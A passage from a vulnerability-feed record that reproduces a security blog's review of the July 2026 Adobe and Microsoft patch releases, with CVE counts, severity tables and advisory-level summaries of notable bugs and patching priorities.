CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:01:53.264245Z"}, {"uuid": "bfb68a5d-2ecc-4383-b850-eb21e12858bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54982", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  